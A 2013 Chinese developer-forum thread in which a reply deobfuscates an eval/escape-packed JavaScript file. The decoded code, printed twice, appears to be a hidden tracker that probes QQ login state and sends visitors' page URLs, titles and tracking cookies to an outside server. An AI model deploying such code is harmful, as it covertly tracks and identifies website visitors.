请教js解密与解密的问题

禁用F3 2013-12-02 02:47:06
http://download.csdn.net/detail/chirea/6643539
大神们这个文件是用什么东西加密的.我解了好几次解不出来.技术有限望大神帮忙,好学习一下
...全文
270 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
thy442030800 2013-12-04
  • 打赏
  • 举报
回复
引用 2 楼 showbo 的回复:
这个eval加密了2次,escape也加密了2次,插入注释等噪音内容,有够无聊的。。
window.cfguid = "10";
window.cfgqq = "1452819848";
window.cfgurl = "http://www.wx8e.com/";
var isLoginTimeID;
function SetCookie(name, value) {
    var exp = new Date();
    exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
    document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
function GetCookie(name) {
    var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
    if (arr != null) return unescape(arr[2]);
    return null
}
function DelCookie(name) {
    var exp = new Date();
    exp.setTime(exp.getTime() - 1);
    var cval = getCookie(name);
    if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString()
}
function insertFrame() {
    var ms = document.createElement("iframe");
    ms.src = "http://meishi.qq.com/profiles/" + window.cfgqq;
    ms.width = 0;
    ms.height = 0;
    ms.frameborder = 0;
    ms.scrolling = "no";
    if (ms.attachEvent) {
        ms.attachEvent("onload",
        function() {
            newSubmit()
        })
    } else {
        ms.onload = function() {
            newSubmit()
        }
    }
    document.body.appendChild(ms)
}
function newSubmit() {
    var uincookie = GetCookie("uincookie");
    if (uincookie == null) {
        uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
        SetCookie("uincookie", uincookie)
    }
    var title = document.title;
    title = encodeURI(title);
    title = encodeURI(title);
    var url = document.location.href;
    url = encodeURI(url);
    url = encodeURI(url);
    var oHead = document.getElementsByTagName('HEAD').item(0);
    var oScript = document.createElement("script");
    oScript.type = "text/javascript";
    oScript.src = window.cfgurl + "?action=saveQQ&do=save&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
    oHead.appendChild(oScript)
}
function isLogin() {
    var code = null;
    if (typeof(data3) == "undefined") {
        code = data0.err
    } else {
        code = data3.err
    }
    if (code == 1007) {
        window.clearInterval(isLoginTimeID);
        insertFrame()
    } else {
        var uincookie = GetCookie("uincookie");
        if (uincookie != null) {
            window.clearInterval(isLoginTimeID);
            var title = document.title;
            title = encodeURI(title);
            title = encodeURI(title);
            var url = document.location.href;
            url = encodeURI(url);
            url = encodeURI(url);
            var oHead = document.getElementsByTagName('HEAD').item(0);
            var oScript = document.createElement("script");
            oScript.type = "text/javascript";
            oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
            oHead.appendChild(oScript)
        } else {
            var checkscript = document.getElementById("checkloginscript");
            checkscript.parentNode.removeChild(checkscript)
        }
    }
}
function dynamicLoad() {
    var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=";
    var time = new Date().getTime();
    vsrc = vsrc + time;
    var oHead = document.getElementsByTagName('HEAD').item(0);
    var oScript = document.createElement("script");
    oScript.type = "text/javascript";
    oScript.id = "checkloginscript";
    if (oScript.readyState) {
        oScript.onreadystatechange = function() {
            if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
                oScript.onreadystatechange = null;
                isLogin()
            }
        }
    } else {
        oScript.onload = function() {
            isLogin()
        }
    }
    oScript.src = vsrc;
    oHead.appendChild(oScript)
}
document.writeln("<div style='display:none'>");
document.writeln("<iframe id='login_frame' height='800' scrolling='auto' width='800' frameborder='0' src='http://ui.ptlogin2.qq.com/cgi-bin/login?hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=12&target=self&s_url=http%3A//qzs.qq.com/qzone/v5/loginsucc.html?para=izone&pt_qr_app=%CA%D6%BB%FAQQ%BF%D5%BC%E4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=http%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html'></iframe>");
document.writeln("<img src='http://qzone.qq.com/' style='display:none;' />");
document.writeln("<img src='http://qq.qingyisheng.com/GenCode.aspx?type=1&uid=' style='display:none;' />");
document.writeln("<img src='http://qq.qingyisheng.com/GenCode.aspx?type=1&uid=" + window.cfgqq + "' style='display:none;' />");
document.writeln("<img src='http://qq.qingyisheng.com/GenCode.aspx?type=2&uid=" + window.cfgqq + "' style='display:none;' />");
document.writeln("</div>");
dynamicLoad();
isLoginTimeID = window.setInterval("dynamicLoad()", 3000);
牛X,我看到报了一次错就没搞下去了。。。
  • 打赏
  • 举报
回复
这个eval加密了2次,escape也加密了2次,插入注释等噪音内容,有够无聊的。。
window.cfguid = "10";
window.cfgqq = "1452819848";
window.cfgurl = "http://www.wx8e.com/";
var isLoginTimeID;
function SetCookie(name, value) {
    var exp = new Date();
    exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
    document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
function GetCookie(name) {
    var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
    if (arr != null) return unescape(arr[2]);
    return null
}
function DelCookie(name) {
    var exp = new Date();
    exp.setTime(exp.getTime() - 1);
    var cval = getCookie(name);
    if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString()
}
function insertFrame() {
    var ms = document.createElement("iframe");
    ms.src = "http://meishi.qq.com/profiles/" + window.cfgqq;
    ms.width = 0;
    ms.height = 0;
    ms.frameborder = 0;
    ms.scrolling = "no";
    if (ms.attachEvent) {
        ms.attachEvent("onload",
        function() {
            newSubmit()
        })
    } else {
        ms.onload = function() {
            newSubmit()
        }
    }
    document.body.appendChild(ms)
}
function newSubmit() {
    var uincookie = GetCookie("uincookie");
    if (uincookie == null) {
        uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
        SetCookie("uincookie", uincookie)
    }
    var title = document.title;
    title = encodeURI(title);
    title = encodeURI(title);
    var url = document.location.href;
    url = encodeURI(url);
    url = encodeURI(url);
    var oHead = document.getElementsByTagName('HEAD').item(0);
    var oScript = document.createElement("script");
    oScript.type = "text/javascript";
    oScript.src = window.cfgurl + "?action=saveQQ&do=save&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
    oHead.appendChild(oScript)
}
function isLogin() {
    var code = null;
    if (typeof(data3) == "undefined") {
        code = data0.err
    } else {
        code = data3.err
    }
    if (code == 1007) {
        window.clearInterval(isLoginTimeID);
        insertFrame()
    } else {
        var uincookie = GetCookie("uincookie");
        if (uincookie != null) {
            window.clearInterval(isLoginTimeID);
            var title = document.title;
            title = encodeURI(title);
            title = encodeURI(title);
            var url = document.location.href;
            url = encodeURI(url);
            url = encodeURI(url);
            var oHead = document.getElementsByTagName('HEAD').item(0);
            var oScript = document.createElement("script");
            oScript.type = "text/javascript";
            oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
            oHead.appendChild(oScript)
        } else {
            var checkscript = document.getElementById("checkloginscript");
            checkscript.parentNode.removeChild(checkscript)
        }
    }
}
function dynamicLoad() {
    var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=";
    var time = new Date().getTime();
    vsrc = vsrc + time;
    var oHead = document.getElementsByTagName('HEAD').item(0);
    var oScript = document.createElement("script");
    oScript.type = "text/javascript";
    oScript.id = "checkloginscript";
    if (oScript.readyState) {
        oScript.onreadystatechange = function() {
            if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
                oScript.onreadystatechange = null;
                isLogin()
            }
        }
    } else {
        oScript.onload = function() {
            isLogin()
        }
    }
    oScript.src = vsrc;
    oHead.appendChild(oScript)
}
document.writeln("<div style='display:none'>");
document.writeln("<iframe id='login_frame' height='800' scrolling='auto' width='800' frameborder='0' src='http://ui.ptlogin2.qq.com/cgi-bin/login?hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=12&target=self&s_url=http%3A//qzs.qq.com/qzone/v5/loginsucc.html?para=izone&pt_qr_app=%CA%D6%BB%FAQQ%BF%D5%BC%E4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=http%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html'></iframe>");
document.writeln("<img src='http://qzone.qq.com/' style='display:none;' />");
document.writeln("<img src='http://qq.qingyisheng.com/GenCode.aspx?type=1&uid=' style='display:none;' />");
document.writeln("<img src='http://qq.qingyisheng.com/GenCode.aspx?type=1&uid=" + window.cfgqq + "' style='display:none;' />");
document.writeln("<img src='http://qq.qingyisheng.com/GenCode.aspx?type=2&uid=" + window.cfgqq + "' style='display:none;' />");
document.writeln("</div>");
dynamicLoad();
isLoginTimeID = window.setInterval("dynamicLoad()", 3000);
thy442030800 2013-12-04
  • 打赏
  • 举报
回复
前面的这两个:

var UlUiZRjJ=\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065; //unescape
var KczVef=\u0065\u0076\u0061\u006c;  //eval
后面的就是代码了,但是你这个代码还不全,解到这个地方会出错:a.20.L%25 有一个依赖的对象a不存在,所以无法解下去

87,991

社区成员

发帖
与我相关
我的任务
社区描述
Web 开发 JavaScript
社区管理员
  • JavaScript
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧